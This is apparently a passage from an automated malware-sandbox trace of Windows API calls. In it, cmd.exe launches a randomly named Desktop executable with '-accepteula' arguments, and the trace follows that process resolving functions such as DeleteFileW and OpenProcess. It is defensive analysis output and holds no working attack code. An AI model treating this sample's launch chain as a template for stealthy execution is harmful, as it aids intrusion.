ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x582050 [0129.003] FindClose (in: hFindFile=0x582050 | out: hFindFile=0x582050) returned 1 [0129.003] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0129.003] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x16f1ec | out: lpFindFileData=0x16f1ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x582050 [0129.003] FindClose (in: hFindFile=0x582050 | out: hFindFile=0x582050) returned 1 [0129.003] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0129.004] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0129.004] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0129.004] GetProcessHeap () returned 0x570000 [0129.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x582d58 | out: hHeap=0x570000) returned 1 [0129.004] GetEnvironmentStringsW () returned 0x5821d0* [0129.004] GetProcessHeap () returned 0x570000 [0129.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb7e) returned 0x582d58 [0129.004] FreeEnvironmentStringsW (penv=0x5821d0) returned 1 [0129.004] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0129.004] GetProcessHeap () returned 0x570000 [0129.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x584680 | out: hHeap=0x570000) returned 1 [0129.004] GetProcessHeap () returned 0x570000 [0129.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x400e) returned 0x584ee0 [0129.004] GetProcessHeap () returned 0x570000 [0129.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x6e) returned 0x5821d0 [0129.005] GetProcessHeap () returned 0x570000 [0129.005] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x584ee0 | out: hHeap=0x570000) returned 1 [0129.005] GetConsoleOutputCP () returned 0x1b5 [0129.005] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0129.005] GetUserDefaultLCID () returned 0x409 [0129.005] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0129.006] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x16f5b0, cchData=128 | out: lpLCData="0") returned 2 [0129.006] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x16f5b0, cchData=128 | out: lpLCData="0") returned 2 [0129.006] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x16f5b0, cchData=128 | out: lpLCData="1") returned 2 [0129.006] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0129.006] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0129.006] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0129.006] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0129.006] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0129.006] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0129.006] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0129.006] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0129.006] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0129.006] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0129.006] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0129.008] GetProcessHeap () returned 0x570000 [0129.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20c) returned 0x582248 [0129.008] GetConsoleTitleW (in: lpConsoleTitle=0x582248, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0129.008] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0129.008] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0129.008] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0129.008] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0129.009] GetProcessHeap () returned 0x570000 [0129.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x400a) returned 0x584ee0 [0129.009] GetProcessHeap () returned 0x570000 [0129.009] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x584ee0 | out: hHeap=0x570000) returned 1 [0129.010] _wcsicmp (_String1="bv6ncK8c.exe", _String2=")") returned 57 [0129.010] _wcsicmp (_String1="FOR", _String2="bv6ncK8c.exe") returned 4 [0129.010] _wcsicmp (_String1="FOR/?", _String2="bv6ncK8c.exe") returned 4 [0129.010] _wcsicmp (_String1="IF", _String2="bv6ncK8c.exe") returned 7 [0129.010] _wcsicmp (_String1="IF/?", _String2="bv6ncK8c.exe") returned 7 [0129.010] _wcsicmp (_String1="REM", _String2="bv6ncK8c.exe") returned 16 [0129.010] _wcsicmp (_String1="REM/?", _String2="bv6ncK8c.exe") returned 16 [0129.010] GetProcessHeap () returned 0x570000 [0129.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x58) returned 0x584680 [0129.010] GetProcessHeap () returned 0x570000 [0129.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x22) returned 0x582460 [0129.011] GetProcessHeap () returned 0x570000 [0129.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x52) returned 0x582490 [0129.012] GetConsoleTitleW (in: lpConsoleTitle=0x16f2a8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0129.013] GetFileAttributesW (lpFileName="bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x20 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0129.013] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0129.014] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0129.015] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0129.015] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0129.015] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0129.015] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0129.015] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0129.015] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0129.015] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0129.015] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0129.015] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0129.015] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0129.015] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0129.015] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0129.015] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0129.015] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0129.015] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0129.015] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0129.015] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0129.015] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0129.015] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0129.015] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0129.015] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0129.015] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FOR") returned -4 [0129.015] _wcsicmp (_String1="bv6ncK8c.exe", _String2="IF") returned -7 [0129.015] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REM") returned -16 [0129.016] GetProcessHeap () returned 0x570000 [0129.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x210) returned 0x5824f0 [0129.016] GetProcessHeap () returned 0x570000 [0129.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x6c) returned 0x582708 [0129.016] _wcsnicmp (_String1="bv6n", _String2="cmd ", _MaxCount=0x4) returned -1 [0129.016] GetProcessHeap () returned 0x570000 [0129.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x418) returned 0x582780 [0129.016] SetErrorMode (uMode=0x0) returned 0x0 [0129.016] SetErrorMode (uMode=0x1) returned 0x0 [0129.016] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x582788, lpFilePart=0x16edc8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16edc8*="Desktop") returned 0x25 [0129.016] SetErrorMode (uMode=0x0) returned 0x1 [0129.016] GetProcessHeap () returned 0x570000 [0129.016] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x582780, Size=0x6e) returned 0x582780 [0129.016] GetProcessHeap () returned 0x570000 [0129.016] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x582780) returned 0x6e [0129.016] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0129.017] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0129.017] GetProcessHeap () returned 0x570000 [0129.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x120) returned 0x5827f8 [0129.017] GetProcessHeap () returned 0x570000 [0129.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x238) returned 0x582920 [0129.024] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0129.025] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x16eb64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16eb64) returned 0x582ad0 [0129.025] GetProcessHeap () returned 0x570000 [0129.025] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14) returned 0x582b10 [0129.025] FindClose (in: hFindFile=0x582ad0 | out: hFindFile=0x582ad0) returned 1 [0129.025] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0129.025] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0129.025] GetConsoleTitleW (in: lpConsoleTitle=0x16f03c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0129.025] InitializeProcThreadAttributeList (in: lpAttributeList=0x16eec4, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x16ef8c | out: lpAttributeList=0x16eec4, lpSize=0x16ef8c) returned 1 [0129.025] UpdateProcThreadAttribute (in: lpAttributeList=0x16eec4, dwFlags=0x0, Attribute=0x60001, lpValue=0x16ef84, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x16eec4, lpPreviousValue=0x0) returned 1 [0129.025] GetStartupInfoW (in: lpStartupInfo=0x16ee80 | out: lpStartupInfo=0x16ee80*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x80, hStdError=0xb)) [0129.026] lstrcmpW (lpString1="\\bv6ncK8c.exe", lpString2="\\XCOPY.EXE") returned -1 [0129.027] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", lpCommandLine="bv6ncK8c.exe -accepteula \"Genko_2.jtp\" -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x16ef20*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"Genko_2.jtp\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x16ef6c | out: lpCommandLine="bv6ncK8c.exe -accepteula \"Genko_2.jtp\" -nobanner", lpProcessInformation=0x16ef6c*(hProcess=0x78, hThread=0x74, dwProcessId=0x284, dwThreadId=0x5f8)) returned 1 [0129.042] CloseHandle (hObject=0x74) returned 1 [0129.043] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0129.043] GetProcessHeap () returned 0x570000 [0129.043] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x582d58 | out: hHeap=0x570000) returned 1 [0129.043] GetEnvironmentStringsW () returned 0x582b30* [0129.043] GetProcessHeap () returned 0x570000 [0129.043] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb7e) returned 0x587278 [0129.043] FreeEnvironmentStringsW (penv=0x582b30) returned 1 [0129.043] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0133.880] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x16ee60 | out: lpExitCode=0x16ee60*=0x0) returned 1 [0133.880] CloseHandle (hObject=0x78) returned 1 [0133.881] _vsnwprintf (in: _Buffer=0x16efa8, _BufferCount=0x13, _Format="%08X", _ArgList=0x16ee6c | out: _Buffer="00000000") returned 8 [0133.881] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0133.881] GetProcessHeap () returned 0x570000 [0133.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x587278 | out: hHeap=0x570000) returned 1 [0133.881] GetEnvironmentStringsW () returned 0x582b30* [0133.881] GetProcessHeap () returned 0x570000 [0133.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb7e) returned 0x587278 [0133.881] FreeEnvironmentStringsW (penv=0x582b30) returned 1 [0133.882] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0133.882] GetProcessHeap () returned 0x570000 [0133.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x587278 | out: hHeap=0x570000) returned 1 [0133.882] GetEnvironmentStringsW () returned 0x582b30* [0133.882] GetProcessHeap () returned 0x570000 [0133.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb7e) returned 0x587278 [0133.882] FreeEnvironmentStringsW (penv=0x582b30) returned 1 [0133.882] GetProcessHeap () returned 0x570000 [0133.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5800b0 | out: hHeap=0x570000) returned 1 [0133.882] DeleteProcThreadAttributeList (in: lpAttributeList=0x16eec4 | out: lpAttributeList=0x16eec4) [0133.882] _get_osfhandle (_FileHandle=1) returned 0x80 [0133.882] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0133.882] _get_osfhandle (_FileHandle=1) returned 0x80 [0133.882] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0133.882] _get_osfhandle (_FileHandle=0) returned 0x3 [0133.882] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0133.883] SetConsoleInputExeNameW () returned 0x1 [0133.883] GetConsoleOutputCP () returned 0x1b5 [0133.883] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0133.883] SetThreadUILanguage (LangId=0x0) returned 0x409 [0133.883] exit (_Code=0) Process: id = "234" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x754e3000" os_pid = "0x284" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "233" os_parent_pid = "0xc34" cmd_line = "bv6ncK8c.exe -accepteula \"Genko_2.jtp\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 839 os_tid = 0x5f8 [0129.405] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0129.406] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0129.406] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0129.406] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0129.406] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0129.406] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0129.406] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0129.406] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0129.406] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0129.406] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0129.406] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0129.406] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0129.406] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0129.407] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0129.407] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0129.407] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0129.407] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0129.407] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0129.407] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0129.407] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0129.407] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0129.407] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0129.407] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0129.407] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0129.407] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0129.407] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0129.407] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0129.408] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0129.408] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0129.408] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0129.408] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0129.408] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0129.408] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0129.408] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0129.408] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0129.408] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0129.408] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0129.408] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0129.408] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0129.408] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0129.408] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0129.409] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0129.409] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0129.409] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0129.409] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0129.409] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0129.409] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0129.409] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 